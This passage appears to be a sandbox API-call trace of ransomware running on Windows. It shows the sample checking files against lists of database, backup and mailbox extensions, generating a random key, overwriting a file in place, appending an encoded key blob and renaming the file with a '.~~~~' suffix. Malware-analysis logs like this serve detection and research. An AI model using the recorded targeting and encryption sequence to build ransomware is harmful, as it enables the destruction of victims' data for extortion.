	[0076.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".DBF") returned 0x0
	[0076.148] lstrlenW (lpString=".EQL") returned 4
	[0076.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".EQL") returned 0x0
	[0076.148] lstrlenW (lpString=".FDB") returned 4
	[0076.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".FDB") returned 0x0
	[0076.149] lstrlenW (lpString=".EDB") returned 4
	[0076.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".EDB") returned 0x0
	[0076.149] lstrlenW (lpString=".DACPAC") returned 7
	[0076.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".DACPAC") returned 0x0
	[0076.149] lstrlenW (lpString=".VHD") returned 4
	[0076.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".VHD") returned 0x0
	[0076.149] lstrlenW (lpString=".DBV") returned 4
	[0076.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".DBV") returned 0x0
	[0076.149] lstrlenW (lpString=".dacpac") returned 7
	[0076.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".dacpac") returned 0x0
	[0076.149] lstrlenW (lpString=".sdf") returned 4
	[0076.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".sdf") returned 0x0
	[0076.149] lstrlenW (lpString=".accdb") returned 6
	[0076.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".accdb") returned 0x0
	[0076.149] lstrlenW (lpString=".DBX") returned 4
	[0076.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".DBX") returned 0x0
	[0076.149] lstrlenW (lpString=".MDT") returned 4
	[0076.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".MDT") returned 0x0
	[0076.149] lstrlenW (lpString=".SQB") returned 4
	[0076.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".SQB") returned 0x0
	[0076.149] lstrlenW (lpString=".vhd") returned 4
	[0076.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".vhd") returned 0x0
	[0076.149] lstrlenW (lpString=".bac") returned 4
	[0076.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".bac") returned 0x0
	[0076.150] lstrlenW (lpString=".mdf") returned 4
	[0076.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".mdf") returned 0x0
	[0076.150] lstrlenW (lpString=".BAK") returned 4
	[0076.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".BAK") returned 0x0
	[0076.150] lstrlenW (lpString=".BAC") returned 4
	[0076.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".BAC") returned 0x0
	[0076.150] lstrlenW (lpString=".dbs") returned 4
	[0076.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".dbs") returned 0x0
	[0076.150] lstrlenW (lpString=".vhdx") returned 5
	[0076.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".vhdx") returned 0x0
	[0076.150] lstrlenW (lpString=".NDF") returned 4
	[0076.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".NDF") returned 0x0
	[0076.150] lstrlenW (lpString=".dat") returned 4
	[0076.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".dat") returned 0x0
	[0076.150] lstrlenW (lpString=".DBS") returned 4
	[0076.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".DBS") returned 0x0
	[0076.150] lstrlenW (lpString=".CKP") returned 4
	[0076.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".CKP") returned 0x0
	[0076.150] lstrlenW (lpString=".edb") returned 4
	[0076.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".edb") returned 0x0
	[0076.150] lstrlenW (lpString=".PST") returned 4
	[0076.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".PST") returned 0x0
	[0076.150] lstrlenW (lpString=".dbf") returned 4
	[0076.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".dbf") returned 0x0
	[0076.150] lstrlenW (lpString=".SQL") returned 4
	[0076.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".SQL") returned 0x0
	[0076.150] lstrlenW (lpString=".pst") returned 4
	[0076.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".pst") returned 0x0
	[0076.151] lstrlenW (lpString=".dbv") returned 4
	[0076.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".dbv") returned 0x0
	[0076.151] lstrlenW (lpString=".SDF") returned 4
	[0076.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".SDF") returned 0x0
	[0076.151] lstrlenW (lpString=".dtxs") returned 5
	[0076.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".dtxs") returned 0x0
	[0076.151] lstrlenW (lpString=".db3") returned 4
	[0076.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".db3") returned 0x0
	[0076.151] lstrlenW (lpString=".OST") returned 4
	[0076.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".OST") returned 0x0
	[0076.151] lstrlenW (lpString=".dbx") returned 4
	[0076.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".dbx") returned 0x0
	[0076.151] lstrlenW (lpString=".DB3") returned 4
	[0076.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".DB3") returned 0x0
	[0076.151] lstrlenW (lpString=".DAT") returned 4
	[0076.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".DAT") returned 0x0
	[0076.151] lstrlenW (lpString=".VHDX") returned 5
	[0076.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".VHDX") returned 0x0
	[0076.151] lstrlenW (lpString=".ndf") returned 4
	[0076.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".ndf") returned 0x0
	[0076.151] lstrlenW (lpString=".DB") returned 3
	[0076.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".DB") returned 0x0
	[0076.151] lstrlenW (lpString=".sql") returned 4
	[0076.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".sql") returned 0x0
	[0076.151] lstrlenW (lpString=".MYD") returned 4
	[0076.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".MYD") returned 0x0
	[0076.151] lstrlenW (lpString=".DBT") returned 4
	[0076.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".DBT") returned 0x0
	[0076.151] lstrlenW (lpString=".ACCDB") returned 6
	[0076.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".ACCDB") returned 0x0
	[0076.152] lstrlenW (lpString=".fdb") returned 4
	[0076.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".fdb") returned 0x0
	[0076.152] lstrlenW (lpString=".bak") returned 4
	[0076.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".bak") returned 0x0
	[0076.152] lstrlenW (lpString=".myd") returned 4
	[0076.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".myd") returned 0x0
	[0076.152] lstrlenW (lpString=".DTXS") returned 5
	[0076.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".DTXS") returned 0x0
	[0076.152] lstrlenW (lpString=".ckp") returned 4
	[0076.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".ckp") returned 0x0
	[0076.152] lstrlenW (lpString=".dbt") returned 4
	[0076.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".dbt") returned 0x0
	[0076.152] lstrlenW (lpString=".db") returned 3
	[0076.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".db") returned 0x0
	[0076.152] lstrlenW (lpString=".TXT") returned 4
	[0076.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".TXT") returned 0x0
	[0076.152] lstrlenW (lpString=".MDF") returned 4
	[0076.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".MDF") returned 0x0
	[0076.152] lstrlenW (lpString=".bdb") returned 4
	[0076.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".bdb") returned 0x0
	[0076.152] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.153] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a2fa8
	[0076.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.153] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0076.154] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.154] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0076.154] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19614427078) returned 1
	[0076.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x974afc90, dwHighDateTime=0x1d60e1e)) 
	[0076.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa9e0
	[0076.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa9e0 | out: hHeap=0x300000) returned 1
	[0076.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0076.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0076.155] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0076.155] GetLastError () returned 0x0
	[0076.155] GetLastError () returned 0x0
	[0076.155] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0076.155] GetLastError () returned 0x0
	[0076.155] GetLastError () returned 0x0
	[0076.156] ReadFile (in: hFile=0x11c, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x24dfec0*=0x391, lpOverlapped=0x0) returned 1
	[0076.162] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffc6f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.162] WriteFile (in: hFile=0x11c, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x391, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x24dfec0*=0x391, lpOverlapped=0x0) returned 1
	[0076.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0076.162] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.162] WriteFile (in: hFile=0x11c, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.163] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.163] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.163] CloseHandle (hObject=0x11c) returned 1
	[0076.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0076.163] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.~~~~")) returned 1
	[0076.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0076.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.164] GetLastError () returned 0x0
	[0076.164] RtlWakeConditionVariable () returned 0x365f70
	[0076.164] GetCurrentThreadId () returned 0x3a4
	[0076.164] GetCurrentThreadId () returned 0x3a4
	[0076.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0076.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7cd8 | out: hHeap=0x300000) returned 1
	[0076.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faa18 | out: hHeap=0x300000) returned 1
	[0076.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7cd8
	[0076.164] lstrlenW (lpString=".scr") returned 4
	[0076.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0076.164] lstrlenW (lpString=".cmd") returned 4
	[0076.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0076.165] lstrlenW (lpString=".dll") returned 4
	[0076.165] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0076.165] lstrlenW (lpString=".bat") returned 4
	[0076.165] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0076.165] lstrlenW (lpString=".cpl") returned 4
	[0076.165] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0076.165] lstrlenW (lpString=".sys") returned 4
	[0076.165] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0076.165] lstrlenW (lpString=".msc") returned 4
	[0076.165] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0076.165] lstrlenW (lpString=".com") returned 4
	[0076.165] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0076.165] lstrlenW (lpString=".lnk") returned 4
	[0076.165] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0076.165] lstrlenW (lpString=".msp") returned 4
	[0076.165] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0076.165] lstrlenW (lpString=".pif") returned 4
	[0076.165] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0076.165] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.165] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0076.165] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.166] lstrlenW (lpString=".sqb") returned 4
	[0076.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0076.166] lstrlenW (lpString=".ost") returned 4
	[0076.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0076.166] lstrlenW (lpString=".txt") returned 4
	[0076.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0076.166] lstrlenW (lpString=".mdt") returned 4
	[0076.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0076.166] lstrlenW (lpString=".BDB") returned 4
	[0076.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0076.166] lstrlenW (lpString=".eql") returned 4
	[0076.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0076.166] lstrlenW (lpString=".DBF") returned 4
	[0076.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0076.166] lstrlenW (lpString=".EQL") returned 4
	[0076.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0076.166] lstrlenW (lpString=".FDB") returned 4
	[0076.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0076.166] lstrlenW (lpString=".EDB") returned 4
	[0076.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0076.166] lstrlenW (lpString=".DACPAC") returned 7
	[0076.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0076.167] lstrlenW (lpString=".VHD") returned 4
	[0076.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0076.167] lstrlenW (lpString=".DBV") returned 4
	[0076.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0076.167] lstrlenW (lpString=".dacpac") returned 7
	[0076.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0076.167] lstrlenW (lpString=".sdf") returned 4
	[0076.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0076.167] lstrlenW (lpString=".accdb") returned 6
	[0076.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0076.167] lstrlenW (lpString=".DBX") returned 4
	[0076.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0076.167] lstrlenW (lpString=".MDT") returned 4
	[0076.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0076.167] lstrlenW (lpString=".SQB") returned 4
	[0076.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0076.167] lstrlenW (lpString=".vhd") returned 4
	[0076.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0076.167] lstrlenW (lpString=".bac") returned 4
